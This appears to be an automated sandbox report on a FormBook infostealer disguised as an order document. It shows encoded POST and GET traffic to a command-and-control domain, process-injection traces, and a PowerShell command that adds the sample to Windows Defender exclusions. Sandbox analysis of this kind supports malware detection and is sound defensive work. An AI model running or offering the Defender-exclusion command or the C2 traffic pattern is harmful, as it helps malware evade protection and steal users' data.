Jul 3, 2024 17:59:43.359024048 CEST	1660	OUT	POST /pv57/ HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cache-Control: max-age=0 Content-Length: 1249 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.hondamechanic.today Origin: http://www.hondamechanic.today Referer: http://www.hondamechanic.today/pv57/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 4f 64 6a 54 48 74 75 58 3d 33 57 30 70 4e 37 57 4e 79 2b 55 52 6a 36 42 62 56 37 37 39 4f 57 55 69 72 55 65 2b 43 36 4b 4f 2f 2f 50 4a 33 64 36 51 56 4b 2f 55 50 38 30 58 45 35 43 63 75 61 6d 78 63 62 68 78 57 43 31 30 4b 57 31 74 76 74 30 5a 6c 4e 39 63 45 61 42 45 46 44 47 4a 68 68 4a 46 7a 62 48 57 72 69 6b 4c 70 77 62 4f 77 54 4c 58 51 54 36 5a 44 54 62 4d 6f 5a 70 4d 71 51 67 53 65 38 47 6d 37 62 78 38 71 2f 49 51 42 4c 6e 71 34 31 6c 72 73 32 30 50 77 6f 55 6b 67 4b 66 69 33 6d 74 68 4b 73 75 48 69 49 42 47 39 59 4f 46 58 79 36 4a 4a 43 46 38 31 35 4f 73 4c 70 49 33 70 55 76 57 34 58 39 34 47 50 4b 64 65 4f 78 32 64 33 62 79 53 75 2b 7a 51 4d 48 43 68 36 2f 50 46 46 74 31 77 42 6b 30 4a 64 4c 31 49 48 76 68 56 70 4b 34 4b 42 6d 31 43 65 4a 72 77 62 54 34 75 57 4e 62 6d 47 4b 42 59 35 6b 59 47 6d 72 56 37 33 70 4b 5a 6a 36 49 44 75 73 33 55 76 58 39 38 4d 46 45 51 47 41 4e 6d 65 77 79 68 39 48 70 2f 44 46 4f 45 58 2f 4a 61 54 61 2b 44 33 6a 39 7a 35 32 59 2f 34 58 68 57 72 51 77 31 6e 6a 6d 4b [TRUNCATED] Data Ascii: OdjTHtuX=3W0pN7WNy+URj6BbV779OWUirUe+C6KO//PJ3d6QVK/UP80XE5CcuamxcbhxWC10KW1tvt0ZlN9cEaBEFDGJhhJFzbHWrikLpwbOwTLXQT6ZDTbMoZpMqQgSe8Gm7bx8q/IQBLnq41lrs20PwoUkgKfi3mthKsuHiIBG9YOFXy6JJCF815OsLpI3pUvW4X94GPKdeOx2d3bySu+zQMHCh6/PFFt1wBk0JdL1IHvhVpK4KBm1CeJrwbT4uWNbmGKBY5kYGmrV73pKZj6IDus3UvX98MFEQGANmewyh9Hp/DFOEX/JaTa+D3j9z52Y/4XhWrQw1njmK5X8gIaSI7FihWn4amRYyOeLQsLmCeeLgWj7GBuFgeAr4CQ+OE3BW4yO892REAalMg7An16aEFSkpbmxv7w3qntgYhoqR7oZihZqZYI2JX6FI7WptdOhZTP3ai065d7EVZprK6zlFhCVtwZf5XZ/N+z/poOH6ajeAFfo94NTWWtW5JgX4QdGoMBrJd/SFcOst3K1OvvzPBCVRCPtroSs99UevoHhOZa2A16wAH9UXJnTyWREmo4NCA5UcHnXuWEPVyV4h6AUFEmyIXJZ6SI16ddtuts4/6Q/SBBjoRFY0NVq1dleKfKTtM9TfYyUSMdahW9gDTNFL5+vH+6CJ/AEoa7Mk6UCME53uW31zsCbCrNjGN9NT5D7V+bs1vKei8jb5UyIcDidiravcmsULyVofpKrWLGuCEFyMwg9s7H9FK5Yz9zx4D+CEumFGaLhOY6jpHsWHwBjucinwGGDN1OS4KYKZcH0nu5zMaDzY2+nKiEFN+AxxHClLT3G7daXcdikp0RDpLRWmY24dJAup3RUcAfUyMcBUcGVjWtd5hYMET3wlvCAM/w4MSAwTdhDqDOO2RwjYtotH67QYO8w9LEFIFp61T0aioOw1eriOnAJGqTICnrTa84Ax4tUNZixZo2xeYfhXodQcZvefSEym0UBNawKRBzN9EmaYAk [TRUNCATED]
Jul 3, 2024 17:59:44.008351088 CEST	305	IN	HTTP/1.1 405 Not Allowed date: Wed, 03 Jul 2024 15:59:43 GMT content-type: text/html content-length: 154 server: Parking/1.0 connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	49778	64.190.62.22	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:59:46.190094948 CEST	352	OUT	GET /pv57/?OdjTHtuX=6UcJOPuI3ds3m8dRFaGqe18kk0aRE6C9zfep+6iQQcPKXv8sEJKo1I2dFrwlAwFzKSJLgqMZnt8gW4RLGDqdj2op7I/d7Qwx4DLM/Sb7UzOzABLy3akf6gQBeurdxZRPhPoEffE=&Y6vp=3PLd8j HTTP/1.1 Accept: / Accept-Language: en-US,en;q=0.9 Connection: close Host: www.hondamechanic.today User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Jul 3, 2024 17:59:46.854329109 CEST	1236	IN	HTTP/1.1 200 OK date: Wed, 03 Jul 2024 15:59:46 GMT content-type: text/html; charset=UTF-8 transfer-encoding: chunked vary: Accept-Encoding expires: Mon, 26 Jul 1997 05:00:00 GMT cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 pragma: no-cache x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_qqoVxQILHhM7vqTTla2NnDlvZLgsILjKymGnl3FyiYZSz0lW8IaT/+FBNxXOsdHtvZOpNznJpvFDo8KPDJd1CA== last-modified: Wed, 03 Jul 2024 15:59:46 GMT x-cache-miss-from: parking-64f5d45c5c-jgr6h server: Parking/1.0 connection: close Data Raw: 32 45 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 6e 79 6c 57 77 32 76 4c 59 34 68 55 6e 39 77 30 36 7a 51 4b 62 68 4b 42 66 76 6a 46 55 43 73 64 46 6c 62 36 54 64 51 68 78 62 39 52 58 57 58 75 49 34 74 33 31 63 2b 6f 38 66 59 4f 76 2f 73 38 71 31 4c 47 50 67 61 33 44 45 31 4c 2f 74 48 55 34 4c 45 4e 4d 43 41 77 45 41 41 51 3d 3d 5f 71 71 6f 56 78 51 49 4c 48 68 4d 37 76 71 54 54 6c 61 32 4e 6e 44 6c 76 5a 4c 67 73 49 4c 6a 4b 79 6d 47 6e 6c 33 46 79 69 59 5a 53 7a 30 6c 57 38 49 61 54 2f 2b 46 42 4e 78 58 4f 73 64 48 74 76 5a 4f 70 4e 7a 6e 4a 70 76 46 44 6f 38 4b 50 44 4a 64 31 43 41 3d 3d 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 68 6f 6e 64 61 6d 65 63 68 61 6e 69 63 2e 74 6f 64 61 79 26 6e 62 73 70 3b 2d 26 6e 62 73 70 3b [TRUNCATED] Data Ascii: 2E2<!DOCTYPE html><html lang="en" data-adblockkey=MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_qqoVxQILHhM7vqTTla2NnDlvZLgsILjKymGnl3FyiYZSz0lW8IaT/+FBNxXOsdHtvZOpNznJpvFDo8KPDJd1CA==><head><meta charset="utf-8"><title>hondamechanic.today - hondamechanic Resources and Information.</title><meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=0"><meta name="description" content="hondamechanic.today is your first and best source for all of the
Jul 3, 2024 17:59:46.854351044 CEST	224	IN	Data Raw: 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 79 6f 75 e2 80 99 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 2e 20 46 72 6f 6d 20 67 65 6e 65 72 61 6c 20 74 6f 70 69 63 73 20 74 6f 20 6d 6f 72 65 20 6f 66 20 77 68 61 74 20 79 6f 75 20 77 6f 75 6c 64 20 65 Data Ascii: information youre looking for. From general topics to more of what you would expect to find here, hondamechanic.today has it all. We hope you find what 576you are searching for!"><link rel="icon" type
Jul 3, 2024 17:59:46.854362011 CEST	1236	IN	Data Raw: 3d 22 69 6d 61 67 65 2f 70 6e 67 22 0a 20 20 20 20 20 20 20 20 68 72 65 66 3d 22 2f 2f 69 6d 67 2e 73 65 64 6f 70 61 72 6b 69 6e 67 2e 63 6f 6d 2f 74 65 6d 70 6c 61 74 65 73 2f 6c 6f 67 6f 73 2f 73 65 64 6f 5f 6c 6f 67 6f 2e 70 6e 67 22 0a 2f 3e Data Ascii: ="image/png" href="//img.sedoparking.com/templates/logos/sedo_logo.png"/><style> /! normalize.css v7.0.0 \| MIT License \| github.com/necolas/normalize.css /html{line-height:1.15;-ms-text-size-adjust:100%;-webkit-text-size-adj
Jul 3, 2024 17:59:46.854484081 CEST	1236	IN	Data Raw: 69 73 69 62 6c 65 7d 62 75 74 74 6f 6e 2c 73 65 6c 65 63 74 7b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6e 6f 6e 65 7d 62 75 74 74 6f 6e 2c 68 74 6d 6c 20 5b 74 79 70 65 3d 62 75 74 74 6f 6e 5d 2c 5b 74 79 70 65 3d 72 65 73 65 74 5d 2c 5b 74 Data Ascii: isible}button,select{text-transform:none}button,html [type=button],[type=reset],[type=submit]{-webkitAEC-appearance:button}button::-moz-focus-inner,[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-in
Jul 3, 2024 17:59:46.854496002 CEST	448	IN	Data Raw: 34 38 34 38 34 7d 2e 61 6e 6e 6f 75 6e 63 65 6d 65 6e 74 20 61 7b 63 6f 6c 6f 72 3a 23 38 34 38 34 38 34 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 68 65 61 64 65 72 7b 6d 61 72 67 69 6e 3a 30 20 61 75 74 6f 20 30 20 61 75 74 6f 3b 74 65 78 74 2d 61 6c Data Ascii: 48484}.announcement a{color:#848484}.container-header{margin:0 auto 0 auto;text-align:center}.container-header__content{color:#848484}.container-buybox{text-align:center}.container-buybox__content-buybox{display:inline-block;text-align:left}.c
Jul 3, 2024 17:59:46.854681969 CEST	1236	IN	Data Raw: 6f 6e 65 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 73 65 61 72 63 68 62 6f 78 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 35 30 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 73 65 61 72 63 68 62 6f 78 Data Ascii: one}.container-searchbox{margin-bottom:50px;text-align:center}.container-searchbox__content{display:inline-block;font-family:arial,sans-serif;font-size:12px}.container-searchbox__searchtext-label{display:none}.container-searchbox__input,.conta
Jul 3, 2024 17:59:46.854697943 CEST	1236	IN	Data Raw: 3a 66 69 78 65 64 3b 62 6f 74 74 6f 6d 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 35 66 35 66 35 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 35 70 78 3b 70 61 64 64 Data Ascii: :fixed;bottom:0;width:100%;background:#5f5f5f;font-size:12px;padding-top:15px;padding-bottom:15px}.container-cookie-message__content-text{color:#fff}.container-cookie-message__content-text{margin-left:15%;margin-right:15%}.container-cookie-mes
Jul 3, 2024 17:59:46.854890108 CEST	448	IN	Data Raw: 3a 63 6f 6c 6c 61 70 73 65 7d 2e 63 6f 6f 6b 69 65 2d 6d 6f 64 61 6c 2d 77 69 6e 64 6f 77 5f 5f 63 6f 6e 74 65 6e 74 2d 62 6f 64 79 20 74 61 62 6c 65 20 74 64 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 35 70 78 7d 2e 63 6f 6f 6b 69 65 2d 6d 6f Data Ascii: :collapse}.cookie-modal-window__content-body table td{padding-left:15px}.cookie-modal-window__content-necessary-cookies-row{background-color:#dee1e3}.disabled{display:none;z-index:-999}.btn{display:inline-block;border-style:solid;border-radius
Jul 3, 2024 17:59:46.854912043 CEST	1236	IN	Data Raw: 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 31 61 36 62 32 63 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 31 61 36 62 32 63 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 78 2d 6c 61 72 67 65 7d Data Ascii: :hover{background-color:#1a6b2c;border-color:#1a6b2c;color:#fff;font-size:x-large}.btn--success-sm{background-color:#218838;border-color:#218838;color:#fff;font-size:initial}.btn--success-sm:hover{background-color:#1a6b2c;border-color:#1a6b2c;
Jul 3, 2024 17:59:46.854927063 CEST	224	IN	Data Raw: 2d 73 68 61 64 6f 77 3a 30 20 30 20 31 70 78 20 23 30 30 37 62 66 66 7d 69 6e 70 75 74 3a 63 68 65 63 6b 65 64 2b 2e 73 77 69 74 63 68 5f 5f 73 6c 69 64 65 72 3a 62 65 66 6f 72 65 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 Data Ascii: -shadow:0 0 1px #007bff}input:checked+.switch__slider:before{-webkit-transform:translateX(26px);-ms-transform:translateX(26px);transform:translateX(26px)}body{background-color:#273948;font-family:Arial,Helvetica,Verdana,"Luc
Jul 3, 2024 17:59:46.859322071 CEST	1236	IN	Data Raw: 69 64 61 20 47 72 61 6e 64 65 22 2c 73 61 6e 73 2d 73 65 72 69 66 7d 62 6f 64 79 2e 63 6f 6f 6b 69 65 2d 6d 65 73 73 61 67 65 2d 65 6e 61 62 6c 65 64 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 33 30 30 70 78 7d 2e 63 6f 6e 74 61 69 6e 65 72 Data Ascii: ida Grande",sans-serif}body.cookie-message-enabled{padding-bottom:300px}.container-footer{padding-top:20px;570padding-left:5%;padding-right:5%;padding-bottom:10px}.container-content{text-align:center;display:flex;position:relative;height:1

Target ID:	0
Start time:	11:55:41
Start date:	03/07/2024
Path:	C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe"
Imagebase:	0x310000
File size:	990'720 bytes
MD5 hash:	7C33FB31E0B8302EBA116A02E649200B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	3
Start time:	11:55:42
Start date:	03/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe"
Imagebase:	0x7d0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	11:55:42
Start date:	03/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	11:55:42
Start date:	03/07/2024
Path:	C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe"
Imagebase:	0x7d0000
File size:	990'720 bytes
MD5 hash:	7C33FB31E0B8302EBA116A02E649200B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.2506231029.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.2506231029.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.2506704352.0000000000E00000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.2506704352.0000000000E00000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.2507910619.0000000002B80000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.2507910619.0000000002B80000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Target ID:	9
Start time:	11:56:14
Start date:	03/07/2024
Path:	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe"
Imagebase:	0x640000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000009.00000002.4571646187.0000000003D30000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000009.00000002.4571646187.0000000003D30000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	10
Start time:	11:56:16
Start date:	03/07/2024
Path:	C:\Windows\SysWOW64\compact.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\compact.exe"
Imagebase:	0xc0000
File size:	41'472 bytes
MD5 hash:	5CB107F69062D6D387F4F7A14737220E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.4564032756.0000000002E10000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000A.00000002.4564032756.0000000002E10000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.4565204551.00000000030A0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000A.00000002.4565204551.00000000030A0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.4571364654.00000000032E0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000A.00000002.4571364654.00000000032E0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Target ID:	13
Start time:	11:56:29
Start date:	03/07/2024
Path:	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe"
Imagebase:	0x640000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000D.00000002.4576370278.0000000004DC0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000D.00000002.4576370278.0000000004DC0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	14
Start time:	11:56:40
Start date:	03/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true